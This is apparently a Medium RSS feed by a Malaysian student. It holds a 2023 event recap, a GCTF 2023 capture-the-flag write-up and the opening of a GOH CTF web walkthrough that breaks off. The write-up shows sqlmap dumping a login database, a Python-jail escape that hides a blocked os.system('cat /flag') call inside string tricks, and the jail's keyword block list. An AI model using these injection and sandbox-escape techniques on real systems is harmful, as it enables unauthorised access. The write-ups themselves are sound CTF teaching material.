            <content:encoded><![CDATA[<p>Tahun 2023 telahpun menutup tirai dan tahun 2024 telahpun bermula. Hello, everyone! We have reached to a new year. I believe everyone brings along their new hopes, prayers and goals for this year that we wish to come true. So do I! May all our wishes and dreams come true.</p><p>2023 has been quite a strangely overwhelming yet excitingly awesome year for me personally. Quite numerous events that had happen still linger in my mind which the word ‘thank you’ can never be enough for me to say to every person I have met throughout the year. I may not be able to mention everyone here, but I am truly blessed to get to meet, know and connected to all of them.</p><p>Hence, I have decided to write this recap blog not to only share my activities throughout the year, but also as a token of appreciation and remembrance of the people who contributed to my growth, especially in this fast-paced cybersecurity field last year. Moh kite!</p><h4><strong>Table of Content</strong><br> ∘ <a href="#9d4d">GCC 2023 — Singapore</a><br> ∘ <a href="#5b50">CYDES 2023 and CyberDSA 2023</a><br> ∘ <a href="#b0b7">Cybertron 2023</a><br> ∘ <a href="#1043">MCC 2023</a></h4><h4><strong>GCC 2023 — Singapore</strong></h4><p>After attending Malaysia Cybersecurity Camp — The first edition on December 2022, I was again given the chance and opportunity to participate in the Global Cybersecurity Camp 2023 that was held in Singapore last year! It was surreal. Up to this day, it still felt like a dream for me to represent the country to participate in a global level intensive camp and to be out of the country for the first time!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vIjedVVEb5uIoqPRWfz1-A.jpeg" /><figcaption>The seven of us went sight seeing around Jewel as soon as we arrived! &gt;&lt;</figcaption></figure><p>The representative from every participating countries; Singapore, Japan, Korea, Vietnam, Thailand, Taiwan and Australia including students, volunteers and staff members were so nice, chill and the fact that all of us was able to vibe with one another really made my heart warmed. Being the only Muslim hijabi woman, I was worried that it might be difficult for them to reciprocate with my boundaries. But, they were all cool with it! They were understanding and tolerant with my boundaries. It was heartwarming still.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dLW1UwaryVw7MTKl997Tkg.jpeg" /><figcaption>Everyone…mini hearteu ❤</figcaption></figure><p>The intensive classes throughout the 5 days was really thrilling as I was able to have a deeper insights of each topics taught to us every single day as we were taught by the experts representing the involved nations as well! I was able to solve one question for the reverse engineering class and it was bizarre! I had never thought I was able to understand how RE actually works (I am still floating in the air for RE but hey…I managed to face my fear haha). I was also able to meet with the famous Shota Shinogi the first time there too! Ever since, I started to look up on him especially in his expertise on the field. A very generous person and the wide knowledge he has left me a deep impression. I wish to be someone as well-versed as him one day. Wish me luck!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*fGQ-Gs66iNqaUpE1HDu-GQ.png" /><figcaption>Got the chance to take photo with him before we return back home!</figcaption></figure><blockquote>Read more at: <a href="https://gcc.ac/gcc_2023/">https://gcc.ac/gcc_2023/</a></blockquote><h4><strong>CYDES 2023 and CyberDSA 2023</strong></h4><p>I attended the event firstly was with the intention to support my friends who were participating in the CTF that was held on the first day of the event alongside observing and trying to get to know anything related to cybersecurity from the industry itself — from trying to connect with people, familiarizing the companies, products and services and of course helping out taking care of the booth to exposing MCC to people! It was fun, for real. Meeting people of the industry, have a chit chat with them, listening to their thoughts and wisdoms really makes me wonder how fun it is to love your work!</p><p>Besides listening to the side sessions during the event, I still remember that I was given the chance to be one of the speaker for a session during CYDES 2023 together with the other MCC crews and alumni. The session namely “Youth in Cyber” gave us the opportunity as the young padawan (hopefully) of the scene on our thoughts how we put up and start our journey into the world of cybersecurity. Shout out to the father of MCC (you know who hahahaha) and NACSA for giving me and MCC alumni the opportunity to speak our thoughts out!</p><blockquote>Read more at: <a href="https://cybercamp.my/news-and-achievements/">https://cybercamp.my/news-and-achievements/</a></blockquote><h4><strong>Cybertron 2023</strong></h4><p>Attended the first ever real life hacking conference to represent both my university as a student and as a crew for MCC was…well… I have no words to describe except for being extremely happy and excited as I was able to live witnessed a real-life hacking demo. There were more than 6 stations (if I remember correctly) demonstrating hacking demos such as phishing and social engineering really made me feel amazed. I was also able to listen to talks from representative of companies that explains and elaborate on how for such the implementation of protection from transaction fraud in banks and how the process works. It was exciting however I felt too bad as per session for each talk was limited. Looking forward to attend the conference again!</p><h4><strong>MCC 2023</strong></h4><p>This one…First off, I am truly honored to come back as the crew of this camp. Never thought I was given the opportunity again to attend and participate. I had been doing writings and managing the blog and press release for MCC, helping the bosses whenever and involved in the process of interviewing sessions…I was truly honored and happy for the chances given to me by Mr Yap and other crews with me. Other crews involved were also my mates of MCC 2022, so the bonding remains and how we can still hang around with each other was truly…I am not sure what would be the right word to be used but yeah… Lowkey felt old after meeting the new guys of MCC 2023, also proud of them to witness their capabilities in solving the challenges created by Teng as well as how membara semangat mereka through the 4 days camp. It was also great to meet sifus of the industry and to learn from them too directly for DFIR and Burp Suite. It gave me a different perspective to keep maintaining my spirit to strive in the scene and diving deep.</p><blockquote>Read more at: <a href="https://www.linkedin.com/posts/rehack-xyz_mcc2023-cybersecurity-cybercamp-activity-7140892264498659328-W5UY?utm_source=share&amp;utm_medium=member_desktop">https://www.linkedin.com/posts/rehack-xyz_mcc2023-cybersecurity-cybercamp-activity-7140892264498659328-W5UY?utm_source=share&amp;utm_medium=member_desktop</a></blockquote><p>That is all for this round. Until the next part for another update!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=33b6ca4e5268" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[GCTF 2023 Write-up]]></title>
            <link>https://hannrul.medium.com/gctf-2023-write-up-8b24614fada7?source=rss-2934217dc636------2</link>
            <guid isPermaLink="false">https://medium.com/p/8b24614fada7</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[gctf2023]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[twinkle]]></dc:creator>
            <pubDate>Sun, 17 Dec 2023 10:37:22 GMT</pubDate>
            <atom:updated>2023-12-23T06:29:12.533Z</atom:updated>
            <content:encoded><![CDATA[<p><strong><em>Annyeong yeorobeunsss!~~</em></strong></p><p>I recently paired up with Shiau Huei to join the Girls’ CTF 2023 that was organized for the first time in the country for girls only on 16 December. YES! <strong>A GIRL ONLY</strong> capture the flag competition in the country. Amazing, right?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4VMzPMqO5u9juYILYr8SAw.png" /></figure><p>Our combo, named <strong>ctrl + f</strong> also won the 1st runner-up for this game. It was shocking (fr, I never put hopes and expectation to get into top 3) and overwhelming(?) I’d say as the both of us were busy with our own schedules — Shiau Huei had her examination on d-day and I was down for a cold + fever for almost a week.</p><p>I would like to congratulate and really am thankful to her since she had been such a sweet and helpful teammate for this game! Sweet pretty xiao jie jie, feichang ganxie!</p><blockquote><a href="https://cybersec-blog-plzentertext.vercel.app/">You can also read her blog and write-ups here!</a></blockquote><p>And so…for this blog, I will be sharing our write-up for this CTF. Don’t judge ya? We quickly compiled everything while playing and as soon as the game ended, so we wrote it in the simplest and quickest way. hehe…</p><h3><strong>List of challenges:</strong></h3><h4><strong>1. Forensics</strong><br> ∘ <a href="#91ea">Wireshark #1</a><br> ∘ <a href="#d042">Broken</a><br> ∘ <a href="#aabf">KB</a><br> ∘ <a href="#124c">History</a></h4><h4>2. Misc<br> ∘ <a href="#6cf3">Frequency</a><br> ∘ <a href="#6aa6">Master Hidden Within the Slides</a><br> ∘ <a href="#d9b6">Office</a><br> ∘ <a href="#1706">Splitter</a></h4><h4>3. Crypto<br> ∘ <a href="#71e6">RSA</a><br> ∘ <a href="#9e5c">Layers of Bases</a><br> ∘ <a href="#7a3d">DES</a></h4><h4>4. Web<br> ∘ <a href="#9217">Secret</a><br> ∘ <a href="#f2e1">Login</a></h4><h4>5. Pwn<br> ∘ <a href="#39dd">Warmup</a><br> ∘ <a href="#4b63">Level 1</a><br> ∘ <a href="#fec4">Level 2</a></h4><h3><strong>Forensics</strong></h3><h4>Wireshark #1</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zCu6HOL0KrwWyEdl" /></figure><ul><li>Open the pcap file and filter for http</li><li>Right click and follow tcp stream</li><li>Observe the content and the flag is displayed</li></ul><blockquote><em>GCTF2023{fl4g_in_tcp_dump}</em></blockquote><h4>Broken</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*RcjCL8APa0e7ufVKCDggkw.png" /></figure><p>Because speed was important, I just threw the file into a tool that can repair PDFs:</p><p><a href="https://www.ilovepdf.com/repair-pdf">Repair PDF files online. Free tool to repair PDF</a></p><p>Observing the word file, the flag can be obtained at the bottom of the last page in the file.</p><blockquote><em>GCTF2023{M3_4nd_my_Br0k3n_h3art}</em></blockquote><h4>KB</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*hH2hGabHvFjZZI5r_XieIA.png" /></figure><ul><li>The Wireshark only has USB packets</li><li>Since the data length of the leftover capture data of a packet is 8 bytes, it is established that the data originates from a keyboard, with the keystroke at the 3rd byte</li><li>Each value corresponds to different keys. The full keyboard keymap is referenced here:</li><li><a href="https://www.usb.org/sites/default/files/documents/hut1_12v2.pdf">https://www.usb.org/sites/default/files/documents/hut1_12v2.pdf</a> (Page 53–59)</li><li>This also works: <a href="https://web.archive.org/web/20170219081148/https://www.usb.org/developers/hidpage/Hut1_12v2.pdf">https://web.archive.org/web/20170219081148/https://www.usb.org/developers/hidpage/Hut1_12v2.pdf</a> (Page 53–59)</li><li>To extract the Leftover Capture Data field: tshark -r challenge.pcapng -T fields -e usb.capdata &gt; usbdata.txt</li><li>To clean the data afterwards and modify some manually:</li><li><a href="https://gchq.github.io/CyberChef/#recipe=Remove_whitespace(true,true,true,true,true,false)Find_/_Replace(%7B&#39;option&#39;:&#39;Regex&#39;,&#39;string&#39;:&#39;0000&#39;%7D,&#39;&#39;,true,false,true,false)Find_/_Replace(%7B&#39;option&#39;:&#39;Regex&#39;,&#39;string&#39;:&#39;0000000000&#39;%7D,&#39;&#39;,true,false,true,false)Find_/_Replace(%7B&#39;option&#39;:&#39;Regex&#39;,&#39;string&#39;:&#39;00&#39;%7D,&#39;&#39;,true,false,true,false)Find_/_Replace(%7B&#39;option&#39;:&#39;Regex&#39;,&#39;string&#39;:&#39;0202&#39;%7D,&#39;&#39;,true,false,true,false)&amp;input=CgoKCgoKMDIwMDAwMDAwMDAwMDAwMAoKMDIwMDBhMDAwMDAwMDAwMAoKMDIwMDAwMDAwMDAwMDAwMAoKMDIwMDA2MDAwMDAwMDAwMAoKMDIwMDAwMDAwMDAwMDAwMAoKMDIwMDE3MDAwMDAwMDAwMAoKMDIwMDAwMDAwMDAwMDAwMAoKMDIwMDA5MDAwMDAwMDAwMAoKMDIwMDAwMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDFmMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDI3MDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDFmMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDIwMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDIwMDAwMDAwMDAwMDAwMAoKMDIwMDJmMDAwMDAwMDAwMAoKMDIwMDAwMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDFlMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDExMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDE3MDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDIwMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDE1MDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDA2MDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDIwMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDEzMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDE3MDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDFlMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDExMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDBhMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDIwMDAwMDAwMDAwMDAwMAoKMDIwMDJkMDAwMDAwMDAwMAoKMDIwMDAwMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDBlMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDA4MDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDFjMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDE2MDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDE3MDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDE1MDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDI3MDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDBlMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDIwMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDIwMDAwMDAwMDAwMDAwMAoKMDIwMDMwMDAwMDAwMDAwMAoKMDIwMDAwMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDEwMDAwMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoK">https://gchq.github.io/CyberChef/#recipe=Remove_whitespace(true,true,true,true,true,false)Find_/_Replace({&#39;option&#39;:&#39;Regex&#39;,&#39;string&#39;:&#39;0000&#39;},&#39;&#39;,true,false,true,false)Find_/_Replace({&#39;option&#39;:&#39;Regex&#39;,&#39;string&#39;:&#39;0000000000&#39;},&#39;&#39;,true,false,true,false)Find_/_Replace({&#39;option&#39;:&#39;Regex&#39;,&#39;string&#39;:&#39;00&#39;},&#39;&#39;,true,false,true,false)Find_/_Replace({&#39;option&#39;:&#39;Regex&#39;,&#39;string&#39;:&#39;0202&#39;},&#39;&#39;,true,false,true,false)&amp;input=CgoKCgoKMDIwMDAwMDAwMDAwMDAwMAoKMDIwMDBhMDAwMDAwMDAwMAoKMDIwMDAwMDAwMDAwMDAwMAoKMDIwMDA2MDAwMDAwMDAwMAoKMDIwMDAwMDAwMDAwMDAwMAoKMDIwMDE3MDAwMDAwMDAwMAoKMDIwMDAwMDAwMDAwMDAwMAoKMDIwMDA5MDAwMDAwMDAwMAoKMDIwMDAwMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDFmMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDI3MDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDFmMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDIwMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDIwMDAwMDAwMDAwMDAwMAoKMDIwMDJmMDAwMDAwMDAwMAoKMDIwMDAwMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDFlMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDExMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDE3MDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDIwMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDE1MDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDA2MDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDIwMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDEzMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDE3MDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDFlMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDExMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDBhMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDIwMDAwMDAwMDAwMDAwMAoKMDIwMDJkMDAwMDAwMDAwMAoKMDIwMDAwMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDBlMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDA4MDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDFjMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDE2MDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDE3MDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDE1MDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDI3MDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDBlMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDAwMDIwMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDIwMDAwMDAwMDAwMDAwMAoKMDIwMDMwMDAwMDAwMDAwMAoKMDIwMDAwMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoKMDEwMDAwMDAwMDAwMDAwMAoKMDAwMDAwMDAwMDAwMDAwMAoK</a></li><li>Or you could just use the script provided here lol: <a href="https://ctf-wiki.mahaloz.re/misc/traffic/protocols/USB/">https://ctf-wiki.mahaloz.re/misc/traffic/protocols/USB/</a></li><li>The final indication:</li></ul><blockquote><em>GCTF2023{1NT3RC3PT1NG_KEYSTR0K3}</em></blockquote><h4>History</h4><p>Since the title is the hint, you just need to navigate to Google History:</p><p>/LogicalFileSet2/Challenge/AppData/Local/Google/Chrome/User Data/Default/History</p><blockquote><em>GCTF2023{Chr0m1um_h1st0ry}</em></blockquote><h3>Misc</h3><h4>Frequency</h4><p>Just perform wave spectrum analysis on the audio file given to obtain the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lhgsxSMiYEwfg316" /></figure><blockquote><em>GCTF2023{this_fl4g_sounds_weirddddddd}</em></blockquote><h4>Master Hidden Within the Slides</h4><p>False alarm: File &gt; Info &gt; Document Inspector</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sPmAQmH5SRQNkfL-" /></figure><ul><li>Can view invisible objects by going Home &gt; Arrange &gt; Selection Pane but turns out PowerPoint is just delulu</li></ul><p>Since the title mentioned master slides, so if you viewed it, you can see a Base64 string:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zloLbgJqIxeri8fy" /></figure><p>Decoding it will get the flag:</p><blockquote><em>GCTF{Sl1d3sss_M4staaaaaaa}</em></blockquote><h4>Office</h4><ul><li>Unhide sheet 3</li><li>Realize that when certain cells are hovered, they have a value of 1</li><li>Conditional formatting to quickly “colour” the cells with values</li><li>Adjust column width to 2</li><li>Scan the QR code shown</li></ul><blockquote><em>GCTF2023{F0rmatt1ng_c311s_t0_h1d3_inf0rm4t10n}</em></blockquote><h4>Splitter</h4><ul><li>Apparently the pictures are all in order</li><li>Just zoom in nicely in File Explorer</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*J5044mRnFr5kRH3v" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3wiIvy19hCpBnwrO" /></figure><blockquote><em>GCTF2023{JJK_SHIBUYA_ARK_IS_INSANE} ”</em>Yes it was insane, RIP Nanami” - PLZ ENTER TEXT</blockquote><h3>Crypto</h3><h4>RSA</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pg-CnkQq7Gk7a_KZ" /></figure><ul><li>Given the file with the code snippet as displayed in the image below</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*WFWZhzLmVhilU99D-lnEvA.png" /></figure><ul><li>Insert the given equation in the online decoder to perform automated decryption at: <a href="https://www.dcode.fr/rsa-cipher">https://www.dcode.fr/rsa-cipher</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*GACYBQC3tUGE0OwEW7xCkA.png" /></figure><blockquote><em>GCTF2023{s1mpl3_RSA_n0_pr3ssur3}</em></blockquote><h4>Layers of Bases</h4><p>Base45 → Base64 → Base45 → Base32</p><blockquote><em>GCTF2023{L4y3rs_0f_3ncrypt10n}</em></blockquote><h4>DES</h4><p>Since the question already mentioned the algorithm needed so 👀</p><p>openssl des-ede-cbc -d -a -pbkdf2 -in flag.enc -out flag.enc.new</p><ul><li>Password: gctf2023</li><li>-d: Indicates that it’s a decryption</li><li>-a: Specifies that the input and output should be base64 encoded/decoded</li><li>-pbkdf2: Uses Password-Based Key Derivation Function 2 (PBKDF2) for key derivation</li></ul><blockquote><em>GCTF2023{Op3nSSL_3ncrypt1onnnnnnnnnnn}</em></blockquote><h3>Web</h3><h4>Secret</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0kh-BTjP69cphSI0" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Rl0h_miZEkd3FIYS" /></figure><ul><li>Check for robots.txt for the page</li><li>Hidden directory named /noOneG0nnaF1ndOut is then obtained, and an index page is then displayed with a file directory named flag</li><li>Click on the flag directory and the flag will then be obtained</li></ul><blockquote><em>GCTF{d0_n0t_forg3t_t0_ch3ck_robOt5_txt}</em></blockquote><h4>Login</h4><ul><li>Intercept request using BurpSuite</li><li>Change values in the form field to *</li><li>Save as item</li><li>Automate SQL wahoo: sqlmap -r login.req --batch --dump</li></ul><blockquote><em>GCTF2023{nu11_nu11_nul1_nu1l_0h_fl4g}</em></blockquote><h3>Pwn</h3><h4>Warmup</h4><p>Managed to solve it to the end, did different codes as well, but no flag, and I’m pretty clueless about what else to do lol</p><blockquote><em>“Ok after the CTF I realised I just had to compile all the answers together </em>AAAAAAAAAAAAAAAAAA SAKIT HATIKU” — PLZ ENTER TEXT</blockquote><p>Method 1:</p><pre>import socket<br>import re</pre><pre># Define the IP address and port to connect<br>ip_address = &#39;167.172.74.195&#39;<br>port = 8005</pre><pre># Create a socket and connect to the server<br>bot = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>bot.connect((ip_address, port))</pre><pre># Extract the question and calculate the answer<br>while True:</pre><pre>    data = bot.recv(1024).decode()<br>    print(data)</pre><pre>    if &quot;bad?&quot; in data:<br>        continue</pre><pre>    # Extract numbers from the equation<br>    numbers = re.findall(r&#39;\d+&#39;, data)</pre><pre>    if numbers:<br>        # Convert the numbers to integers<br>        numbers = [int(num) for num in numbers]</pre><pre>        # Calculate the sum<br>        result = sum(numbers)</pre><pre>        # Print the result<br>        print(result)</pre><pre>        # Send the result back to the server<br>        bot.send(str(result).encode())<br>        bot.send(&quot;\n&quot;.encode())<br>        continue<br>    else:<br>        print(data)<br>    break</pre><p>Method 2:</p><pre>import socket<br>import re</pre><pre># Define the IP address and port to connect<br>ip_address = &#39;167.172.74.195&#39;<br>port = 8005</pre><pre># Create a socket and connect to the server<br>bot = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>bot.connect((ip_address, port))</pre><pre># Extract the question and calculate the answer<br>while True:</pre><pre>    data = bot.recv(1024).decode()<br>    print(str.split(data))<br>    <br>    if &quot;+&quot; in str.split(data):</pre><pre>        # Extract numbers from the equation<br>        numbers = re.findall(r&#39;\d+&#39;, data)</pre><pre>        # Convert the numbers to integers<br>        numbers = [int(num) for num in numbers]</pre><pre>        # Calculate the sum<br>        result = sum(numbers)</pre><pre>        # Print the result<br>        print(result)</pre><pre>        # Send the result back to the server<br>        bot.send(str(result).encode())<br>        bot.send(&quot;\n&quot;.encode())<br>        continue</pre><pre>    else:<br>        print(data)<br>        continue</pre><pre>    break</pre><h4>Level 1</h4><p>Just do what it tells you to do: (&#39;os&#39;).system(&#39;cat /flag&#39;)</p><blockquote><em>GCTF2023{R3ady_P14y3r_On3!!}</em></blockquote><h4>Level 2</h4><p>Source code:</p><pre>#! /usr/bin/python3 -u</pre><pre>def main():<br>    print(&quot;&quot;&quot;<br>  _                    _   ___  <br> | |                  | | |__ \ <br> | |     _____   _____| |    ) |<br> | |    / _ \ \ / / _ \ |   / / <br> | |___|  __/\ V /  __/ |  / /_ <br> |______\___| \_/ \___|_| |____|<br>                                &quot;&quot;&quot;)<br>    print(&quot;Note: Flag at /flag&quot;)<br>    print(&quot;Can you bypass this?&quot;)</pre><pre>    while True:<br>        try:<br>            inp = input(&#39;&gt;&gt;&gt; &#39;)<br>            for jail in [&#39;exec&#39;, &#39;eval&#39;, &#39;system&#39;, &#39;os&#39;, &#39;import&#39;, &#39;open&#39;, &#39;read&#39;, &#39;write&#39;]:<br>                if jail in inp:<br>                    raise Exception(&quot;You Shall Not Pass!&quot;)      <br>            print(eval(inp))<br>        except Exception as e:<br>            print(f&quot;Error: {e}&quot;)</pre><pre>if __name__ == &quot;__main__&quot;:<br>    main()</pre><p>We can’t run anything that has these keywords: &#39;exec&#39;, &#39;eval&#39;, &#39;system&#39;, &#39;os&#39;, &#39;import&#39;, &#39;open&#39;, &#39;read&#39;, &#39;write&#39;</p><p>Python allows us to use built-in objects using the __builtins__ module: &gt;&gt;&gt; dir(__builtins__)</p><p>Can be converted into a dict representation: &gt;&gt;&gt; __builtins__.__dict__</p><p>Can access any function using:</p><pre>&gt;&gt;&gt; __builtins__.__dict__[&#39;open&#39;]<br>&lt;built-in function open&gt;</pre><p>However, it needs to be tweaked since it directly mentions the forbidden commands, hence we can do any sort of string operations on the input:</p><pre>&gt;&gt;&gt; print(__builtins__.__dict__[&#39;OPEN&#39;.lower()])<br>&lt;built-in function open&gt;</pre><p>Since that worked, we can do the same with import and run system inside the os’s module:</p><pre>__builtins__.__dict__[&#39;__IMPORT__&#39;.lower()](&#39;OS&#39;.lower()).__dict__[&#39;SYSTEM&#39;.lower()](&#39;cat /flag&#39;)</pre><blockquote><em>GCTF2023{Lev3l_tw0_lessgoooooo_g00d_luck_at_l3v3l_3}</em></blockquote><p>With that, that is all for this post. Thanks for reading!</p><p>I’m currently considering to use a different website to be used as my portfolio. Feel free to give me suggestions if you have any!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8b24614fada7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Walkthrough GOH CTF 2023]]></title>
            <link>https://hannrul.medium.com/walkthrough-goh-ctf-2023-884cb6bb95e7?source=rss-2934217dc636------2</link>
            <guid isPermaLink="false">https://medium.com/p/884cb6bb95e7</guid>
            <category><![CDATA[web]]></category>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[goh2023]]></category>
            <dc:creator><![CDATA[twinkle]]></dc:creator>
            <pubDate>Mon, 04 Dec 2023 09:26:56 GMT</pubDate>
            <atom:updated>2023-12-04T16:41:09.609Z</atom:updated>
            <content:encoded><![CDATA[<p><strong><em>Hiiiii~~~</em></strong></p><p>I have been quite equipped with work and studies recently. Quite a packed schedule I’m having. I sat for ISC2 Certified in Cybersecurity (CC) last month and had passed. It was overwhelming… Thinking over the things that had happened in the past months. All the dramas, tears, midnight oils that I’ve burned truly paid off.</p><p>Besides that, my university just organized an open CTF and collaborated with the company I am currently doing an internship with on November 21tst. I was given the chance to be in the organizing team to represent my company and was given the task to be one of the challenge creators. What’s more exciting is that I was also involved in managing and maintaining the CTF platform and server during the competition! It was such a great experience, felt like I just reached another milestone in terms of my personal growth in the cybersecurity scene.</p><p>In this blog update, I shall write the intended walkthrough for the challenges I have created for this game. For GOH UNIKL 2023, I produced and published two challenges with the guidance and assistance from <a href="https://x.com/luvkrafsec?t=29yDGTKO2aWoZES48tRZwg&amp;s=09">@luvkrafsec</a> and <a href="https://x.com/theddaus12?t=z5l9Q_U7qkJYIqd75VkDNQ&amp;s=09">@theddaus12</a> which were forensics and web. I was surprised honestly, the moment I was given the options to develop challenges from 3 categories which another one is reverse engineering (that I have yet to have enough bravery and knowledge exposure). For my challenges, I used the halloween concept to build a storyline for the questions.</p><p>With that, LETSSTARTUEEEE!!!</p><h4><strong>Challenge category: Web — Into the Unknown</strong></h4><p>Question: Walking around for Halloween, Weenie and his friends was enchanted to follow a girl in the RED cloak. After awhile, they realized that they have walked too far from town to only stop at an old hut where the girl is believed to live.</p><p>Gulp…</p><p>Knocking on the door, they took the courage…<br>‘Trick or treat?’</p><h4><strong>Walkthrough</strong></h4><p>Given the IP address, players will then be presented with a login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vhvl_Tgti-3HQaH5k8DXCw.png" /></figure><p>The first thing that should cross everyone’s mind is definitely SQL injection! Now, let’s perform the injection using common authentication payloads as below.</p><blockquote>You can get the payload list from hacktricks.xyz. Other resources are also applicable.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fqICSpjOd8N_623ewFGL3g.png" /></figure><p>You should then able to log in and will be presented with the home page of the website.</p><figure><img 